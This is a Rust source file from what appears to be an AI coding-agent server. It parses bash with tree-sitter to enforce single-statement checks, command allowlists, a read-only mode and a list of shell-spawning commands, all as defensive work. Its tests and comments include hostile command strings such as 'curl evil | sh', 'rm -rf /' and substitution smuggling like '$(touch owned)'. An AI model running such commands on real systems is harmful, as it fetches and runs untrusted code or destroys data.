Skip to main content

winx_code_agent/utils/
bash_parser.rs

1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7/// Replace supplementary-plane code points (>= U+10000, i.e. 4-byte UTF-8) with
8/// U+FFFD before handing text to tree-sitter-bash.
9///
10/// The grammar's C external scanner reads out of bounds on a supplementary-plane
11/// char next to brace context and SIGSEGVs the process — a fatal, NON-deterministic
12/// crash (verified by fuzzing: BMP input never triggered it; supplementary input
13/// crashed ~64% of the time). Under `panic = "abort"` that segfault takes the whole
14/// MCP server down, so a single crafted `BashCommand` is a remote denial of service.
15///
16/// We only parse for *structure* (statement count, command names), so swapping these
17/// rare chars for U+FFFD is invisible to the caller: `bash -n` and the actual
18/// execution still see the original command (emoji and all). Returns `Cow::Borrowed`
19/// for the overwhelmingly common all-BMP case, so there's no cost on the hot path.
20fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21    if command.chars().any(|c| c as u32 >= 0x1_0000) {
22        Cow::Owned(
23            command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24        )
25    } else {
26        Cow::Borrowed(command)
27    }
28}
29
30/// Validate that `command` is a single top-level bash statement.
31///
32/// `allow_shell_probe` controls the tree-sitter-error fallback: when the
33/// embedded grammar flags an error, we *can* ask the real `bash -n -c` whether
34/// the syntax is actually valid (the grammar lags real bash). That spawns a
35/// shell on the request path, so it's gated to trusted (`wcgw`) mode only — in
36/// restricted modes (`code_writer`/`architect`) we must not spawn `bash` to
37/// vet a command, so tree-sitter's verdict is final there.
38/// Shell-aware single-statement check: PowerShell has its own separators and
39/// no bash grammar, so it gets a conservative scanner instead of the parser.
40pub fn assert_single_statement_for(
41    shell: crate::utils::executable::ShellKind,
42    command: &str,
43    allow_shell_probe: bool,
44) -> Result<()> {
45    if shell.is_powershell() {
46        return assert_single_powershell_statement(command);
47    }
48    assert_single_statement(command, allow_shell_probe)
49}
50
51/// Reject PowerShell input that chains statements: `;`, newlines, or the
52/// `&&`/`||` chain operators outside quotes. A single pipeline is allowed.
53pub fn assert_single_powershell_statement(command: &str) -> Result<()> {
54    let mut quote: Option<char> = None;
55    let mut previous = '\0';
56    for c in command.chars() {
57        match quote {
58            Some(open) => {
59                if c == open && previous != '`' {
60                    quote = None;
61                }
62            }
63            None => {
64                match c {
65                    '\'' | '"' => quote = Some(c),
66                    ';' | '\n' | '\r' => return Err(WinxError::CommandNotAllowed(
67                        "multiple statements require allow_multi=true (use one pipeline per call)"
68                            .to_string(),
69                    )),
70                    '&' | '|' if previous == c => {
71                        return Err(WinxError::CommandNotAllowed(
72                            "chained statements (&&, ||) require allow_multi=true".to_string(),
73                        ))
74                    }
75                    _ => {}
76                }
77            }
78        }
79        previous = c;
80    }
81    Ok(())
82}
83
84pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
85    let trimmed = command.trim();
86    if trimmed.is_empty() {
87        return Ok(());
88    }
89    if trimmed.contains('\0') {
90        return Err(WinxError::CommandExecutionError(
91            "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
92        ));
93    }
94
95    // Parse a copy with supplementary-plane chars neutralized (see
96    // `neutralize_supplementary`): tree-sitter-bash segfaults on them. `bash -n`
97    // below and the eventual execution still see the original `trimmed`.
98    let parse_src = neutralize_supplementary(trimmed);
99
100    let mut parser = Parser::new();
101    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
102    parser.set_language(&language).map_err(|error| {
103        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
104    })?;
105
106    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
107        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
108    })?;
109    let root = tree.root_node();
110
111    if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
112        return Err(WinxError::CommandExecutionError(
113            "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
114        ));
115    }
116
117    // `parse_src` (not `trimmed`): the node byte offsets index the parsed string.
118    let statement_count = top_level_statement_count(parse_src.as_ref(), root);
119
120    if statement_count > 1 && !trimmed.contains('\n') {
121        return Err(WinxError::CommandExecutionError(
122            "Command should contain a single top-level bash statement. Fix one of three ways: \
123             send one statement per call; put each statement on its own line (multiline is \
124             allowed); or resend as {\"type\": \"command\", \"command\": \"...\", \
125             \"allow_multi\": true} when the composite is intentional."
126                .to_string(),
127        ));
128    }
129
130    Ok(())
131}
132
133/// When tree-sitter flags a syntax error we *may* defer to the real `bash -n`
134/// (the embedded grammar lags real bash). That probe spawns a shell, so it only
135/// runs in trusted (wcgw) mode — `allow_shell_probe` gates it. In restricted
136/// modes (`code_writer`/`architect`) the grammar's verdict is final and we never
137/// shell out to vet a command.
138fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
139    allow_shell_probe && bash_accepts_syntax(command)
140}
141
142fn bash_accepts_syntax(command: &str) -> bool {
143    // Without a usable bash (native Windows without Git for Windows) the
144    // grammar's verdict stands: never rescue a rejected command blindly.
145    let Some(bash) = crate::utils::executable::bash_executable() else { return false };
146    std::process::Command::new(bash)
147        .arg("-n")
148        .arg("-c")
149        .arg(command)
150        .stdin(std::process::Stdio::null())
151        .stdout(std::process::Stdio::null())
152        .stderr(std::process::Stdio::null())
153        .status()
154        .is_ok_and(|status| status.success())
155}
156
157#[derive(Debug, Clone)]
158struct StatementNode {
159    kind: String,
160    start_byte: usize,
161    end_byte: usize,
162}
163
164fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
165    let mut statements = Vec::new();
166    collect_statement_nodes(root, &mut statements);
167
168    statements
169        .iter()
170        .filter(|stmt| stmt.kind != "comment")
171        .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
172        .count()
173}
174
175fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
176    if is_statement_node(node.kind()) {
177        statements.push(StatementNode {
178            kind: node.kind().to_string(),
179            start_byte: node.start_byte(),
180            end_byte: node.end_byte(),
181        });
182    }
183
184    let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
185    for index in 0..child_count {
186        if let Some(child) = node.named_child(index) {
187            collect_statement_nodes(child, statements);
188        }
189    }
190}
191
192fn is_statement_node(kind: &str) -> bool {
193    matches!(
194        kind,
195        "command"
196            | "variable_assignment"
197            | "declaration_command"
198            | "unset_command"
199            | "comment"
200            | "for_statement"
201            | "c_style_for_statement"
202            | "while_statement"
203            | "if_statement"
204            | "case_statement"
205            | "function_definition"
206            | "pipeline"
207            | "list"
208            | "compound_statement"
209            | "subshell"
210            | "redirected_statement"
211    )
212}
213
214fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
215    if stmt.start_byte == other.start_byte
216        && stmt.end_byte == other.end_byte
217        && stmt.kind == other.kind
218    {
219        return false;
220    }
221
222    let other_text = &source[other.start_byte..other.end_byte];
223    if other.kind == "list" && other_text.contains(';') {
224        return false;
225    }
226
227    other.start_byte <= stmt.start_byte
228        && other.end_byte >= stmt.end_byte
229        && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
230        && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
231}
232
233/// Collect the full text of every `command` node in the script.
234///
235/// Descends through pipelines, lists, subshells, command/process substitution,
236/// loops and conditionals, so an allowlist can be enforced against EVERY command
237/// a line would run — not just `command_line.split_whitespace().next()`, which
238/// `ls && curl|sh`, `ls $(rm -rf x)` and `a; rm -rf /` trivially bypass.
239///
240/// Returns `Err` when the command can't be parsed cleanly; restricted-mode
241/// callers treat that as "not allowed" (fail closed). Code hidden inside a
242/// quoted string (e.g. `bash -c '...'`) is opaque to the parser, so an allowlist
243/// that permits `bash`/`sh`/`eval` stays effectively unrestricted by design.
244pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
245    let trimmed = command.trim();
246    if trimmed.is_empty() {
247        return Ok(Vec::new());
248    }
249    if trimmed.contains('\0') {
250        return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
251    }
252
253    // See `neutralize_supplementary`: parse a sanitized copy so a supplementary
254    // code point can't segfault tree-sitter. The extracted command texts feed the
255    // allowlist, which keys on the (ASCII) command name, so a U+FFFD standing in
256    // for an emoji in some argument doesn't change enforcement.
257    let parse_src = neutralize_supplementary(trimmed);
258
259    let mut parser = Parser::new();
260    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
261    parser.set_language(&language).map_err(|error| {
262        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
263    })?;
264
265    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
266        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
267    })?;
268    let root = tree.root_node();
269    if root.has_error() {
270        return Err(WinxError::CommandExecutionError(
271            "Command could not be parsed for allowlist enforcement.".to_string(),
272        ));
273    }
274
275    let mut texts = Vec::new();
276    collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
277    Ok(texts)
278}
279
280/// Return statically visible filesystem destinations written by a shell command.
281///
282/// This is deliberately conservative: dynamic expansions are ignored instead of
283/// guessed, while output redirects and common file-producing commands expose
284/// their literal destinations. Callers use the result for narrow path-policy
285/// checks, never as a general shell sandbox.
286pub fn extract_static_write_paths(command: &str) -> Vec<String> {
287    let trimmed = command.trim();
288    if trimmed.is_empty() || trimmed.contains('\0') {
289        return Vec::new();
290    }
291
292    let parse_src = neutralize_supplementary(trimmed);
293    let mut parser = Parser::new();
294    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
295    if parser.set_language(&language).is_err() {
296        return Vec::new();
297    }
298    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return Vec::new() };
299
300    let mut paths = Vec::new();
301    collect_static_write_paths(tree.root_node(), parse_src.as_ref().as_bytes(), &mut paths);
302    paths.sort();
303    paths.dedup();
304    paths
305}
306
307fn collect_static_write_paths(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
308    match node.kind() {
309        "file_redirect" => collect_redirect_destination(node, src, out),
310        "command" => collect_command_destinations(node, src, out),
311        _ => {}
312    }
313
314    let mut cursor = node.walk();
315    for child in node.children(&mut cursor) {
316        collect_static_write_paths(child, src, out);
317    }
318}
319
320fn collect_redirect_destination(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
321    let Some(destination) = node.child_by_field_name("destination") else { return };
322    let prefix_end = destination.start_byte().saturating_sub(node.start_byte());
323    let Ok(redirect) = node.utf8_text(src) else { return };
324    let prefix = redirect.get(..prefix_end).unwrap_or(redirect);
325    if !prefix.contains('>') {
326        return;
327    }
328    if let Ok(text) = destination.utf8_text(src) {
329        push_static_shell_word(text, out);
330    }
331}
332
333fn collect_command_destinations(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
334    let Some(name) = node.child_by_field_name("name") else { return };
335    let Ok(name) = name.utf8_text(src) else { return };
336    let Some(name) = static_shell_word(name) else { return };
337    let name = std::path::Path::new(&name)
338        .file_name()
339        .and_then(std::ffi::OsStr::to_str)
340        .unwrap_or(name.as_str());
341
342    let mut cursor = node.walk();
343    let arguments = node
344        .children_by_field_name("argument", &mut cursor)
345        .filter_map(|argument| argument.utf8_text(src).ok())
346        .filter_map(static_shell_word)
347        .collect::<Vec<_>>();
348    let positional =
349        arguments.iter().filter(|argument| !argument.starts_with('-')).cloned().collect::<Vec<_>>();
350
351    match name {
352        "tee" | "touch" | "truncate" | "mkdir" | "mkfifo" => {
353            out.extend(positional);
354        }
355        "cp" | "mv" | "install" | "ln" => {
356            if let Some(destination) = positional.last() {
357                out.push(destination.clone());
358            }
359            for argument in &arguments {
360                if let Some(destination) = argument.strip_prefix("--target-directory=") {
361                    out.push(destination.to_string());
362                }
363            }
364        }
365        "dd" => {
366            for argument in &arguments {
367                if let Some(destination) = argument.strip_prefix("of=") {
368                    out.push(destination.to_string());
369                }
370            }
371        }
372        "sed" | "perl"
373            if arguments.iter().any(|argument| {
374                argument == "-i"
375                    || argument.starts_with("-i")
376                    || argument == "-pi"
377                    || argument.starts_with("-pi")
378            }) =>
379        {
380            out.extend(positional);
381        }
382        _ => {}
383    }
384}
385
386fn push_static_shell_word(text: &str, out: &mut Vec<String>) {
387    if let Some(word) = static_shell_word(text) {
388        out.push(word);
389    }
390}
391
392fn static_shell_word(text: &str) -> Option<String> {
393    let text = text.trim();
394    if text.is_empty() {
395        return None;
396    }
397
398    let bytes = text.as_bytes();
399    let unquoted = if bytes.len() >= 2
400        && matches!(
401            (bytes.first(), bytes.last()),
402            (Some(b'\''), Some(b'\'')) | (Some(b'"'), Some(b'"'))
403        ) {
404        &text[1..text.len() - 1]
405    } else {
406        text
407    };
408    let known_temp_path = unquoted == "$WINX_TEMP_DIR"
409        || unquoted == "${WINX_TEMP_DIR}"
410        || unquoted.starts_with("$WINX_TEMP_DIR/")
411        || unquoted.starts_with("${WINX_TEMP_DIR}/");
412    if unquoted.is_empty()
413        || unquoted.contains('`')
414        || unquoted.contains('*')
415        || unquoted.contains('?')
416        || (unquoted.contains('$') && !known_temp_path)
417        || (known_temp_path
418            && unquoted
419                .trim_start_matches("${WINX_TEMP_DIR}")
420                .trim_start_matches("$WINX_TEMP_DIR")
421                .contains('$'))
422    {
423        None
424    } else {
425        Some(unquoted.replace("\\ ", " ").replace("\\\"", "\"").replace("\\'", "'"))
426    }
427}
428
429fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
430    if node.kind() == "command" {
431        if let Ok(text) = node.utf8_text(src) {
432            out.push(text.to_string());
433        }
434    }
435    let mut cursor = node.walk();
436    for child in node.children(&mut cursor) {
437        collect_command_texts(child, src, out);
438    }
439}
440
441/// Commands that can execute arbitrary code passed as a string argument.
442///
443/// If a `code_writer` allowlist permits any of these, the allowlist is
444/// effectively unrestricted: the tree-sitter parser sees `bash -c '...'`,
445/// `eval "..."`, `find -exec ...` or `xargs sh` as a single allowed command and
446/// can't inspect the code hidden inside. This list backs an advisory warning,
447/// not enforcement — enforcement stays fail-closed regardless.
448pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
449    "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
450    "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
451    "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
452];
453
454/// Commands exposed by architect mode. This deliberately omits general-purpose
455/// interpreters and utilities with write/exec primitives (`sed`, `awk`, `find`,
456/// `tee`, ...). Bash restricted mode is only defense in depth: it does not make
457/// ordinary commands such as `touch` or `rm` read-only.
458pub const ARCHITECT_COMMANDS: &[&str] = &[
459    "pwd",
460    "ls",
461    "rg",
462    "grep",
463    "head",
464    "tail",
465    "wc",
466    "stat",
467    "file",
468    "readlink",
469    "realpath",
470    "basename",
471    "dirname",
472    "printf",
473    "echo",
474    "type",
475    "which",
476    "uname",
477    "date",
478    "id",
479    "whoami",
480    "du",
481    "df",
482    "tree",
483    "git status",
484    "git diff",
485    "git log",
486    "git show",
487    "git ls-files",
488    "git grep",
489    "git rev-parse",
490    "git branch --show-current",
491];
492
493pub fn architect_allowed_commands() -> Vec<String> {
494    ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
495}
496
497/// Fail-closed read-only policy for architect shell commands.
498///
499/// The normal allowlist checks every nested command, but a few nominally
500/// read-only programs have options that execute helpers or write files. Validate
501/// those options here as well so `rg --pre`, `git diff --ext-diff`, and
502/// `git show --output=...` cannot turn the architect shell into a mutation path.
503pub fn is_architect_command_allowed(command_line: &str) -> bool {
504    if contains_file_redirect(command_line) {
505        return false;
506    }
507    let Ok(commands) = extract_command_texts(command_line) else { return false };
508    !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
509}
510
511/// Reject shell-managed file redirects in architect mode. Even a harmless
512/// command such as `echo` or `git diff` becomes a write primitive when followed
513/// by `> file`; checking command names alone cannot see that side effect.
514fn contains_file_redirect(command: &str) -> bool {
515    let parse_src = neutralize_supplementary(command.trim());
516    let mut parser = Parser::new();
517    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
518    if parser.set_language(&language).is_err() {
519        return true;
520    }
521    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
522    let root = tree.root_node();
523    root.has_error() || node_tree_contains_kind(root, "file_redirect")
524}
525
526fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
527    if node.kind() == kind {
528        return true;
529    }
530    let mut cursor = node.walk();
531    let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
532    found
533}
534
535fn architect_command_is_safe(command: &str) -> bool {
536    let words: Vec<&str> = command.split_whitespace().collect();
537    let Some(program) = words.first().copied() else { return false };
538
539    if program == "git" {
540        let Some(subcommand) = words.get(1).copied() else { return false };
541        if subcommand == "branch" {
542            return words.as_slice() == ["git", "branch", "--show-current"];
543        }
544        if !matches!(
545            subcommand,
546            "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
547        ) {
548            return false;
549        }
550        return !words.iter().skip(2).any(|word| {
551            word.starts_with("--output")
552                || *word == "--ext-diff"
553                || *word == "--textconv"
554                || word.starts_with("--open-files-in-pager")
555        });
556    }
557
558    let allowed = ARCHITECT_COMMANDS
559        .iter()
560        .filter(|entry| !entry.starts_with("git "))
561        .any(|entry| *entry == program);
562    if !allowed {
563        return false;
564    }
565
566    if program == "rg" {
567        return !words.iter().skip(1).any(|word| {
568            word == &"--pre"
569                || word.starts_with("--pre=")
570                || word == &"--hostname-bin"
571                || word.starts_with("--hostname-bin=")
572        });
573    }
574
575    true
576}
577
578/// Return the deduplicated allowlist entries that make a `code_writer` allowlist
579/// bypassable (see [`SHELL_SPAWNING_COMMANDS`]).
580///
581/// The allowlist matches on command *name*, so we compare the basename of each
582/// entry's first whitespace-delimited token: `find`, `/usr/bin/find` and
583/// `find -exec rm {} +` all resolve to `find`.
584pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
585    let mut hits: Vec<String> = allowed
586        .iter()
587        .filter_map(|entry| {
588            let first = entry.split_whitespace().next()?;
589            let base = std::path::Path::new(first).file_name()?.to_str()?;
590            SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
591        })
592        .collect();
593    hits.sort();
594    hits.dedup();
595    hits
596}
597
598#[cfg(test)]
599mod powershell_statement_tests {
600    use super::assert_single_powershell_statement;
601
602    #[test]
603    fn single_pipelines_pass_and_chains_are_rejected() {
604        for ok in [
605            "Get-ChildItem",
606            "Get-Process | Where-Object CPU -gt 1 | Select-Object -First 3",
607            "Write-Output 'a; b && c'",
608            "Write-Output \"x || y\"",
609            "cargo test -- --nocapture",
610        ] {
611            assert!(assert_single_powershell_statement(ok).is_ok(), "{ok}");
612        }
613        for bad in ["cd ..; ls", "a && b", "a || b", "a\nb"] {
614            assert!(assert_single_powershell_statement(bad).is_err(), "{bad}");
615        }
616    }
617}
618
619#[cfg(test)]
620mod tests {
621    use super::assert_single_statement;
622    use super::detect_allowlist_bypass;
623    use super::extract_command_texts;
624    use super::extract_static_write_paths;
625    use super::is_architect_command_allowed;
626    use proptest::prelude::*;
627
628    proptest! {
629        /// This gate parses untrusted LLM command strings with tree-sitter; under
630        /// panic=abort, any panic here crashes the server. It must only ever return
631        /// Ok/Err — never panic — for ANY input (incl. multiline, control chars, junk).
632        #[test]
633        fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
634            let _ = assert_single_statement(&cmd, false);
635            let _ = assert_single_statement(&cmd, true);
636        }
637
638        #[test]
639        fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
640            let _ = extract_command_texts(&cmd);
641        }
642
643        #[test]
644        fn extract_static_write_paths_never_panics(cmd in "[\\s\\S]{0,80}") {
645            let _ = extract_static_write_paths(&cmd);
646        }
647    }
648
649    #[test]
650    fn supplementary_plane_input_does_not_segfault_the_parser() {
651        // Regression: `{` followed by a supplementary-plane code point (>= U+10000)
652        // made tree-sitter-bash's C scanner read out of bounds and SIGSEGV the whole
653        // process (a fatal, non-deterministic DoS under panic=abort). Both parse paths
654        // must now return cleanly. Run the minimal trigger many times to beat the
655        // non-determinism, plus a few representative supplementary chars.
656        for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
657            for _ in 0..40 {
658                let cmd = format!("{{{c}");
659                let _ = assert_single_statement(&cmd, false);
660                let _ = extract_command_texts(&cmd);
661            }
662        }
663    }
664
665    #[test]
666    fn emoji_command_still_validates_as_single_statement() {
667        // The fix sanitizes ONLY the parsed copy, so a legit command carrying an
668        // emoji is still accepted (not rejected) and seen as one statement.
669        assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
670    }
671
672    #[test]
673    fn architect_policy_allows_read_only_exploration() {
674        for command in [
675            "pwd",
676            "rg -n TODO src | head -20",
677            "git status --short",
678            "git diff -- src/lib.rs",
679            "git branch --show-current",
680        ] {
681            assert!(is_architect_command_allowed(command), "should allow: {command}");
682        }
683    }
684
685    #[test]
686    fn architect_policy_blocks_mutation_and_helper_execution() {
687        for command in [
688            "touch owned",
689            "rm file",
690            "sed -i s/a/b/ file",
691            "git checkout -- file",
692            "git diff --output=leak.patch",
693            "git branch --show-current --delete main",
694            "rg --pre 'touch owned' pattern",
695            "rg pattern $(touch owned)",
696            "echo owned > marker",
697            "git diff >> marker",
698            "ls 2> marker",
699        ] {
700            assert!(!is_architect_command_allowed(command), "should reject: {command}");
701        }
702    }
703
704    #[test]
705    fn extracts_nested_commands_for_allowlist() {
706        // Pipelines, && and command substitution must all surface.
707        let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
708        assert!(names.iter().any(|c| c.starts_with("ls")));
709        assert!(names.iter().any(|c| c.starts_with("curl")));
710        assert!(names.iter().any(|c| c.starts_with("sh")));
711
712        let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
713        assert!(subst.iter().any(|c| c.starts_with("rm")));
714    }
715
716    #[test]
717    fn extracts_literal_shell_write_destinations() {
718        let command = "cat <<'EOF' > '.winx-review-carrier.js'\ncontent\nEOF\n\
719                       printf x | tee .winx/tmp/direct.ts\n\
720                       cp source.ts .winx/tmp/copied.ts\n\
721                       dd if=source of=.winx/tmp/image.bin";
722        let paths = extract_static_write_paths(command);
723
724        for expected in [
725            ".winx-review-carrier.js",
726            ".winx/tmp/direct.ts",
727            ".winx/tmp/copied.ts",
728            ".winx/tmp/image.bin",
729        ] {
730            assert!(paths.iter().any(|path| path == expected), "missing {expected}: {paths:?}");
731        }
732    }
733
734    #[test]
735    fn ignores_reads_but_extracts_the_server_owned_temp_destination() {
736        let command = "cat .winx-review-carrier.js\n\
737                       rg needle .winx/tmp/direct.ts\n\
738                       printf x > \"$WINX_TEMP_DIR/helper.ts\"";
739        assert_eq!(extract_static_write_paths(command), ["$WINX_TEMP_DIR/helper.ts"]);
740    }
741
742    #[test]
743    fn accepts_shell_chains_as_single_statement() {
744        assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
745    }
746
747    #[test]
748    fn accepts_heredocs_as_single_statement() {
749        let command = "cat <<'EOF'\nhello\nEOF";
750        assert!(assert_single_statement(command, true).is_ok());
751    }
752
753    #[test]
754    fn accepts_for_loop_as_single_compound_statement() {
755        assert!(
756            assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
757        );
758    }
759
760    #[test]
761    fn rejects_semicolon_separated_top_level_statements() {
762        assert!(assert_single_statement("pwd; ls", true).is_err());
763    }
764
765    #[test]
766    fn accepts_multiline_scripts() {
767        assert!(assert_single_statement("pwd\nls", true).is_ok());
768    }
769
770    #[test]
771    fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
772        let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
773        assert!(assert_single_statement(command, true).is_ok());
774    }
775
776    #[cfg(unix)] // probes with a real bash
777    #[test]
778    fn shell_probe_is_gated_to_trusted_mode() {
779        use super::rescued_by_shell_probe;
780        // The probe (`bash -n`) only runs in trusted (wcgw) mode. Tested on the
781        // pure decision so it doesn't depend on finding a command the embedded
782        // grammar happens to reject — which is the whole point of the gate.
783        //
784        // Probe ON: a command real bash accepts is rescued past a tree-sitter error.
785        assert!(rescued_by_shell_probe("echo hi", true));
786        // Probe OFF (restricted modes): NOT rescued, even though bash would accept
787        // it — and crucially we never spawn a shell to find out.
788        assert!(!rescued_by_shell_probe("echo hi", false));
789        // Probe ON but genuinely broken syntax: bash rejects too, so no rescue.
790        assert!(!rescued_by_shell_probe("echo )(", true));
791    }
792
793    #[test]
794    fn detect_allowlist_bypass_flags_shell_spawners() {
795        let allowed = vec![
796            "ls".to_string(),
797            "bash".to_string(),
798            "cat -n".to_string(),
799            "find . -exec rm {} +".to_string(),
800        ];
801        assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
802    }
803
804    #[test]
805    fn detect_allowlist_bypass_clean_list_is_empty() {
806        let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
807        assert!(
808            detect_allowlist_bypass(&allowed).is_empty(),
809            "expected empty detect_allowlist_bypass(&allowed)"
810        );
811    }
812
813    #[test]
814    fn detect_allowlist_bypass_matches_basename_of_path() {
815        let allowed = vec!["/usr/bin/env python".to_string()];
816        assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
817    }
818
819    #[test]
820    fn rejects_nul_with_actionable_message() {
821        let error = match assert_single_statement("printf '\0'", true) {
822            Ok(()) => String::new(),
823            Err(error) => error.to_string(),
824        };
825        assert!(error.contains("NUL byte"));
826        assert!(error.contains("\\\\x00"));
827    }
828}